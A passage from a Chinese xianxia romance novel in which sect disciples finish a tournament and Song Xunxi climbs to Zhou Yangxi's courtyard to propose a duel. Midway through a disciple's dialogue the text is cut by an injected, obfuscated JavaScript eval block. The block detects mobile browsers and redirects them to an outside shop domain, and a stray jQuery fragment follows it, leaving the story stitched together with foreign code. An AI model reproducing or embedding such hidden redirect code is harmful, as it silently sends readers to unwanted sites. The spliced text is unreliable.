周仰熙的确会教李宥宜一些招式,本意是因她学的大多是属于辅助型,自保和打架能力不强,学一学攻击式,有助于保护自己。
但她万万没想到,教出去的招式会变成了不得的知识,重新进入她的脑子。
李宥宜头一次参加弟子大比,何时学的这些法子?
周仰熙满心困惑,问她:“师妹你这招和谁学的?”
李宥宜眨眨眼:“这不是所有音修都会的吗?我脑子里很早就有这个想法了,应当无人教我。”
周仰熙:这不就是自带防护音律的体修吗?
一连几场,李宥宜都靠着这个“琴剑合一”的打法赢了下来,直至比试结束回到弟子居所,周仰熙才终于想通了。
怜游剑,日后的别名就叫做“等等”。
这已是经过正道认证的,用起来顺心顺意。
这两日的比试如火如荼,因流程改变,时间也缩短了,到第三日,花菁与卫晏已经准备开启最后一场。
花菁使的长枪一道上弟子较少,安排在上半日,卫晏则是在下半日。
周仰熙特意记了时间,去观他们的最后一场赛。
花菁的比试结果出的很快,她的时间花费最少,每一场都能在半柱香之内解决,毫无疑问地成为入妖域人选。
卫晏虽说赢得慢些,但周仰熙看了一眼便知他葫芦里卖的什么药,他骨扇与长鞭同使,但更擅长用扇。
因此报的场次皆是长鞭那一头的,每到要输之际就使骨扇,只在今日最后一场里吃了些亏。
幻境内与他对打的人显然也是走的双武道路,长鞭能幻化成一柄剑。
两人打的难舍难分,最终以卫晏的骨扇四散成多片,绞住那人的长剑限制其出招,堪堪取得名额。
卫晏大意受了些擦伤,本无伤大雅,他仍旧来找周仰熙诉说,开开心心拿了新的药膏回去。
期间还有李宥宜的场次,周仰熙挨个去看了看,她平时学的剑招不多,所幸鬼点子多,昨日一整天都用的同一套招式,算是险胜。
今日倒是用上了自己改编过的,打了研究她一晚上招式的人一个措手不及,仍旧成功晋级最后一场比试。
周仰熙一整日都在四处奔波,丝毫没注意到卫晏找她哭诉、得到药膏时,不远处站着的宋寻熙。
眼见卫晏用一些手段博得周师妹同情,得了两罐周师妹的药,宋寻熙竟与心玉短暂地统一了战线。
卫晏此人,惹、人、烦、厌。
宋寻熙:“这种伎俩,哪怕摆在面前,我也是不会去用的。”
心玉打断他:“不一定,我觉得可以试试。”
宋寻熙轻哼一声,不置可否,转身打算回仰月峰。
临离开时,又朝着正与李宥宜说笑的周仰熙那边瞧了一眼,这一眼,正巧和她视线相撞。
闲下来时周仰熙才终于有心思去管,体内的灵力时而窜动,她想也不想便知宋寻熙在附近,倒是有了个感知他大体方位的法子。
李宥宜还在叽叽喳喳说着今日的事情,察觉到身旁人的安静,她疑惑回眸,就见到那位宋师兄正对着师姐暗送秋波。
这么主动的人,实在是太有利于启动她的计划。
而对视的两人却心思各异。
宋寻熙率先移开视线:周师妹怎么看我如此之久?莫非又在想什么玩弄人的事?
周仰熙不躲不闪:盯着我这么久,那上下扫视又翻白眼的眼神,很明显就是在挑衅。
她敷衍地点了点头,拉着呆滞的李宥宜离开。
宋寻熙纹丝不动,等她们的背影逐渐远去,他垂眸问心玉:“你是不是又在花痴周师妹?她又察觉到了。”
心玉没搭理他,只有一点灵力浮动的余光,证明它方才一定是做了什么。
宋寻熙无力地深呼吸,回峰路上,脑子里一会在想比试一事,下一瞬又跳回周仰熙,她的衣裙数不胜数,今日穿的又是他不曾见过的。
剑修这几日都有比试,只不过他还未曾定下对手,若是与相差较大的弟子比,难免被说掺了水分,他也不屑于去做那种无意义的事。
整个长寂山,唯有周仰熙位列榜首多年,宋寻熙心念陡转,若能与周师妹比上一场,于他而言,便是最有意义的。
棋逢对手,且能达到接近周师妹的目的。
何况这几日也没见周仰熙上场,想来也是和他一样,在等一个合适的对手。
第二日,宋寻熙便又去了比试现场,仰月仙尊对此已见怪不怪,只在临走前提醒他,“寻熙,大比这两日就能结束,你早些确定要同谁切磋。”
大比的进程比以往快,四日下来,只剩剑修弟子还在等待最后一场。
李宥宜的那场定在第四日的晚课时辰。
白日无事,周仰熙便没再去观赛,坐在房内提前制定前往妖域的计划。
宋寻熙火急火燎赶到比试点,目光转了又转,人群中并无周仰熙的身影,他犹豫几息,掐了一个传音笺的法诀。
“周师妹,你在吗?”
等了一会儿,传音笺里传来她略带惊讶的声音,“宋师兄?”
“嗯。”
周仰熙从未接到过宋寻熙的传音,两人都是正面打交道,且多为宋寻熙主动拦她,第一次收到他的讯息,讶异不解。
“宋师兄是有何事?”
宋寻熙沉默片刻,问她:“周师妹在哪?我可以去找你吗?有事相商。”
周仰熙:“倒是没什么大事,我在居所中,宋师兄可以来。”
“好。”
前后不过半盏茶的时间,收了传音笺,周仰熙还没反应过来,宋师兄为了查心玉,还真是殷勤,简直是无所不用其极。
说是见缝插针更稳妥贴合些。
宋寻熙御剑抵达霁月峰底,上一次来时,他是等待周仰熙,眼下要去找她,需要爬上石阶。
有霁月峰弟子穿行,见这位传闻骄矜自傲的仰月峰宋师兄站在他们峰门底下,纷纷放缓脚步。
众人皆知这位宋师兄与他们三师姐周仰熙相识,便有胆大的弟子上前询问,“宋师兄,你是来找三师姐的吗?”
宋寻熙几不可察地点头,算是回应。
这目中无人的态度,看得人心中窝火。
另一位弟子指向高耸的石阶,语气有些幸灾乐祸,“从此处上到霁月峰,总有两千三百级台阶,宋师兄正好练练体术,毕竟我们三师姐可是很能打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740278|208648||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的。”
“宋师兄瞧着身形单薄,若中途有何不适,我们设有休憩点,有弟子守着的。”
宋寻熙跨上石阶,淡声打断:“不必。”
霁月仙尊温柔淡然,怎么门下弟子的心思如此多变?
石阶虽高,但沿途景色宜人,霁月峰常年花开不败,各色各样的灵花层出不穷。
宋寻熙走在其间,心底忽地想到周仰熙总是一身明妍装扮,一色一衫,与霁月峰的灵花同工异曲。
他不自觉扬起嘴角,脸上笑意漾开,心玉感应到他的心情,忽然热情起来。
宋寻熙登时收起笑容,辩解道:“我并未想周师妹,也没有开心。”
“还有,我再强调一次,你不是狗,不要去贴周师妹了。”他警告这背主的心玉。
心玉:“我不是狗,但我觉得你就不一定了。”
宋寻熙:“?再胡说八道我把你从这扔下去。”
两千三百级石阶,他一面赏着景,一面与心玉周旋,爬完时不过半柱香的功夫。
周仰熙打开院门看见的,便是气息平稳的宋寻熙,她打量了一眼,确认这人确实是爬过石阶的,不禁心下赞道:咱们剑修弟子就是这样风轻云淡,体术绝佳。
“宋师兄,请进。”
她将宋寻熙引进院子,自上次去过他的居所,回来她果真在院子里种了树,不同的是她栽的是一颗樱花树。
望着五彩斑斓的院落,又看向一身缃黄色衣衫的周仰熙,宋寻熙了然,周师妹果然是霁月峰的标杆。
两人在树下的石桌旁落座,周仰熙常喝花茶,又备了些零嘴,开门见山道:“宋师兄找我,是又要谈什么?”
宋寻熙斟酌了下措辞,询问道:“不知周师妹可有定下明日的比试?”
周仰熙思索一番,“没有,我这几日一心想着观赛。”
“哦。”宋寻熙应了一声,“既如此,周师妹可愿赐教,与我一试?”
周仰熙闻言微微眯眼,狐疑地看着他,“你?”
“是我,周师妹剑术超群,与任何人比都可以,何况我也想与你共探剑道一术。”
她盯着宋寻熙,心下衡量,师尊说我们是唯二天生心玉之人,与宋师兄比试,更能加快查清心玉灵力,或许还能进一步,比如我的心玉。
打定主意,周仰熙也不扭捏,一口答应,“好啊,依宋师兄所言,明日你我切磋切磋。”
宋寻熙得了承诺,眼露笑意,随手捻了一块芙蓉酥吃下。
周仰熙看他两眼,有些无语,“宋师兄不是不爱吃甜食吗?”
“师妹你这桌上放的不都是甜食吗?”
“……”
“你可以不吃。”
宋寻熙笑容不变:“怎可辜负师妹的一片好意?”
周仰熙眨眼假笑:“我放着自己吃的。”
“多谢周师妹。”
周仰熙瞪着他,此前还觉得这人终于痛改前非,没想到还是这么讨厌,她好心好意去道谢,结果他说不爱吃甜食,分明是在捉弄她。
她似是想到什么,忽地换上笑脸,”行,宋师兄尽情吃,我最喜收留像师兄这样好养的。”
宋寻熙:“……”